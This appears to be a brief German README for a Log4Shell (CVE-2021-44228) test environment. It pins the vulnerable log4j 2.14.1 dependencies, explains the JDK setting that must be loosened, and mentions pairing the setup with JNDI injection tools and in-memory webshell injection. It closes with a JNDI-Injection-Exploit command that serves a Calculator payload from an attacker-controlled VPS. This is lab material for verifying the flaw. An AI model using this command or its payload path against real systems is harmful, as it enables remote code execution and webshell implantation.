
Apache Log4j2 RCE( CVE-2021-44228) Verifizierungsumgebung
Seit dem 09.12.2021
https://mp.weixin.qq.com/s/yck74F9p9QhVw_3ykzVoSg
Maven-Abhängigkeiten einbinden und die anfälligen Versionen angeben
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>


Abhängig von der JDK-Version: Ab JDK 11.0.1, 8u191, 7u201, 6u211 muss trustURLCodebase manuell auf true gesetzt werden.
Weitere Details dazu unter https://blog.0kami.cn/2020/03/01/java/jndi-with-ldap/
Verwendungsmethode: Kann mit JNDI-Injection-Tools kombiniert werden, z.B. JNDI-Injection-Exploit, fastjson_rce_tool und JNDIExploit
Es können auch Tools kombiniert werden, um verschiedene bereits veröffentlichte Rückkanal-Methoden und Methoden zur Injektion von In-Memory-Webshells zu implementieren.
#
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a /System/Applications/Calculator.app" -A your_vps_ip

TODO
